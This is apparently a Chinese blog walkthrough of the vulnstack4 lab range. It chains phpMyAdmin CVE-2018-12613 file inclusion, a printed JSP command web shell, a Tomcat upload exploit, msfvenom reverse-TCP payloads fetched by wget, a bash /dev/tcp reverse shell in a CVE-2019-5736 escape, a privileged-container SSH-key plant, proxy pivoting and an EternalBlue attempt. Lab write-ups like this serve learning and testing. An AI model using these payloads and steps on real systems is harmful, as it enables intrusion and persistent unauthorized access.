0%

vulnstack4靶场

环境搭建

1
2
3
4
外网使用NAT模式  内网使用VM3 192.168.181.0/24
Ubuntu(ubuntu) 192.168.183.129 192.168.0.180
DC(Dotest123) 192.168.183.130
Win7(Test2021) 192.168.183.128

开启web机器(ubuntu)的dokcer容器

1
2
3
4
5
6
7
8
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

sudo docker ps

信息收集

端口扫描

sudo nmap 192.168.0.180 -sT -Pn -sV

开放了 22 2001 2002 2003 端口

分别访问了下2001,2002,2003端口

2001 structs2

2002 tomcat

2003 phpmyadmin4.8.1

漏洞利用

phpmyadmin CVE-2018-12613

看了下phpmyadmin的版本 是4.8.1 先验证下是否存在cve-2018-12613

http://192.168.0.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 直接运行了/etc/passwd 说明存在该漏洞

然后尝试getshell

在sql处 执行 select '<?php phpinfo();?>'

执行成功后查看 自己的sessionid phpmyadmin的值 2c8e2d642e3762699d4e070db30880b6

http://192.168.0.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_2c8e2d642e3762699d4e070db30880b6

http://192.168.0.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_7f9c04b6ead4e844459d4ec29658e424

成功执行之前在sql处的phpinfo命令

写入一句话

尝试几个一句话都写入失败了,写入后会报错,可能是因为docker的原因

struts2

可以判断是docker容器

上传jsp shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {

out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {

out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>

tomcat

使用kali的searchsploit搜索tomcat的poc,这里tomcat版本是8.5

searchsploit tomcat 8.5.19

searchsploit -m jsp/webapps/42966.py

sudo python2 42966.py -u http://192.168.0.180:2002

sudo python2 42966.pu -u http://192.168.0.180:2002 -p pwn

访问http://192.168.0.180:2002/pwn.jsp

判断是docker环境ls -alh /.dockerenv cat /proc/1/cgroup

上线msf

生成msf马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=4444 -f elf > shell.elf

kali开启http服务

sudo python3 -mhttp.server 9999

在上传的pwn.jsp通过wget下载msf

wget http://192.168.0.128:9999/shell.elf

chmod 777 shell.elf

./shell.elf

msf开启监听

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.0.128

set lport 4444

run

成功反弹到shell

权限提升

#### 利用CVE-2019-5736进行docker逃逸

payload下载地址 https://github.com/Frichetten/CVE-2019-5736-PoC

下载并编译main,go 修改payload替换为反弹shell

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.0.128/5555 0>& 1"

编译生成go文件

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

通过msf将生成的main.go上传到靶机

upload ~/桌面/CVE-2019-5736-PoC /home

1
2
3
4
cd /home 
chmod /main
cd /main
./main.go

在执行前先在kali上开启监听

nc -lvvp 5555

但是由于需要宿主机执行命令 才能去触发payload反弹shell

运行完之后 msf进入shell就会卡住...所以就换一种方法 可以使用--privileged(特权模式)进行逃逸

利用–privileged特权模式逃逸

使用特权模式向宿主机的硬盘中写入ssh私钥,实现ssh免密登录宿主机

1.查看磁盘文件 fdisk -l

2.查看设备文件 ls /dev

3.新建目录进行挂载 mkdir /test

4.将/dev/sda1挂载到/test目录中 mount /dev/sda1 /test

5.查看是否挂载成功 ls /test

6.在kali本地上生成ssh密钥 ssh-keygen -f test ,然后会生成test test.pub

赋予600权限chmod 600 test

7.将生成的密钥写入到目标机器中

由于前面将 sda1挂载到了/test 所以访问/test/home也就等同于去访问宿主机的/home目录

ls /test/home

查看所有文件ls -alh /test/home/ubuntu

查看.ssh文件 ls -alh /test/home/ubuntu/.ssh/

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys # -avx将权限也一起赋予

echo > /test/home/ubuntu/.ssh/authorized_keys

cat test.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf0H1/QT12pdJ04TXtsJ8C4n0CCa6l4G4MUpImanHscGsXHz8izRwWoPMuRMwSgnOC1ItEWLCvR1UGxR7VdlBlafxoan9e2nIDtGDth5w4h2aR4ac+HVTZL5mHCcx7frWqZ4sGgeX6SHswNmRqGTS8oleMULqhOvkQlA81ML0mwTgUIKTM4QNBCaB2pyC96LD6OPuO2ofzGbyjEqGuPxpI0dIHxJsL5DvwfKHYSmkuLJA65k0RRHAZrSdBE95NPqrzhgT+u33MTauhmCa2b8+mgX83AOo/mh+Upm+oqqvlkX/1PYvsUkXOpLBm/Oy/ZCWF2aTO+GbHmN2aQK766iChVl0ja04mNnmsaGiUl6MOxqqZ9jqZODpprkfatPuJrzq2Fan4ERlFO3Y7eq/o95qGkKaMdPkHWfiDiag2B+BFS/Xsvr9lKg17xcBG411aAuIhxWQJMHJHjdiM6as8kNbp+JBwU3Kr1M4i3K/Bg3rSlUPD6ibogfIQMTR1Vint2gs= kali@kali2020


echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf0H1/QT12pdJ04TXtsJ8C4n0CCa6l4G4MUpImanHscGsXHz8izRwWoPMuRMwSgnOC1ItEWLCvR1UGxR7VdlBlafxoan9e2nIDtGDth5w4h2aR4ac+HVTZL5mHCcx7frWqZ4sGgeX6SHswNmRqGTS8oleMULqhOvkQlA81ML0mwTgUIKTM4QNBCaB2pyC96LD6OPuO2ofzGbyjEqGuPxpI0dIHxJsL5DvwfKHYSmkuLJA65k0RRHAZrSdBE95NPqrzhgT+u33MTauhmCa2b8+mgX83AOo/mh+Upm+oqqvlkX/1PYvsUkXOpLBm/Oy/ZCWF2aTO+GbHmN2aQK766iChVl0ja04mNnmsaGiUl6MOxqqZ9jqZODpprkfatPuJrzq2Fan4ERlFO3Y7eq/o95qGkKaMdPkHWfiDiag2B+BFS/Xsvr9lKg17xcBG411aAuIhxWQJMHJHjdiM6as8kNbp+JBwU3Kr1M4i3K/Bg3rSlUPD6ibogfIQMTR1Vint2gs= kali@kali2020' >> /test/home/ubuntu/.ssh/authorized_keys# 将ssh秘钥写入authorized_keys文件

查看是否写入成功,发现还是没成功,使用echo > /test/home/ubuntu/.ssh/authorized_keys无法清除原有的值,应该是没有写入权限

cat /test/home/ubuntu/.ssh/authorized_keys

尝试去上传一个key.sh,内容如下

1
2
3
4
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo > /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf0H1/QT12pdJ04TXtsJ8C4n0CCa6l4G4MUpImanHscGsXHz8izRwWoPMuRMwSgnOC1ItEWLCvR1UGxR7VdlBlafxoan9e2nIDtGDth5w4h2aR4ac+HVTZL5mHCcx7frWqZ4sGgeX6SHswNmRqGTS8oleMULqhOvkQlA81ML0mwTgUIKTM4QNBCaB2pyC96LD6OPuO2ofzGbyjEqGuPxpI0dIHxJsL5DvwfKHYSmkuLJA65k0RRHAZrSdBE95NPqrzhgT+u33MTauhmCa2b8+mgX83AOo/mh+Upm+oqqvlkX/1PYvsUkXOpLBm/Oy/ZCWF2aTO+GbHmN2aQK766iChVl0ja04mNnmsaGiUl6MOxqqZ9jqZODpprkfatPuJrzq2Fan4ERlFO3Y7eq/o95qGkKaMdPkHWfiDiag2B+BFS/Xsvr9lKg17xcBG411aAuIhxWQJMHJHjdiM6as8kNbp+JBwU3Kr1M4i3K/Bg3rSlUPD6ibogfIQMTR1Vint2gs= kali@kali2020' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys

开启http服务使用靶机下载

sudo python3 -m http.server 9999

wget http://192.168.0.128:9999

chmod 777 key.sh

./key.sh

还是写入失败了,看了下师傅们也是这样做的没啥问题,然后我就去ubuntu靶机上试了下发现也没法使用echo写入,只能通过sudo vim authorized_keys手动将在kali上生成的密钥复制进去,才能在kali上免密登录

ssh -i test ubuntu@192.168.0.181

上线msf

然后在msf生成木马,使用python开启gttp服务,下载后连接shell

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=8888 -f elf > shell.elf

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

突然不小心把shell.elf断掉了 重新上线了一个 session 12

添加路由

use post/multi/manage/autoroute

route print查看路由

设置代理

use auxiliary/server/socks_proxy

sudo /etc/proxychains4.conf

修改kali proxychains4.conf配置为socks5 127.0.0.1 1080


内网渗透

信息收集

使用smb扫描

1
2
3
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.183.0/24`
run

扫到两台windows机器

1
2
192.168.183.130   win2008
192.168.183.148 win7

用ms17-010扫一下

1
2
3
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.130,148
run

两台机器都存在ms17-010漏洞

使用ms17-010进行攻击

1
2
3
4
5
6
7
use exploit/windows/smb/ms17_010_eternalblue
setg proxies socks5:127.0.0.1:1080
set rhosts 192.168.183.148
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set autorunscript post/windows/manage/migrate
run

两台机器都没打通......

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------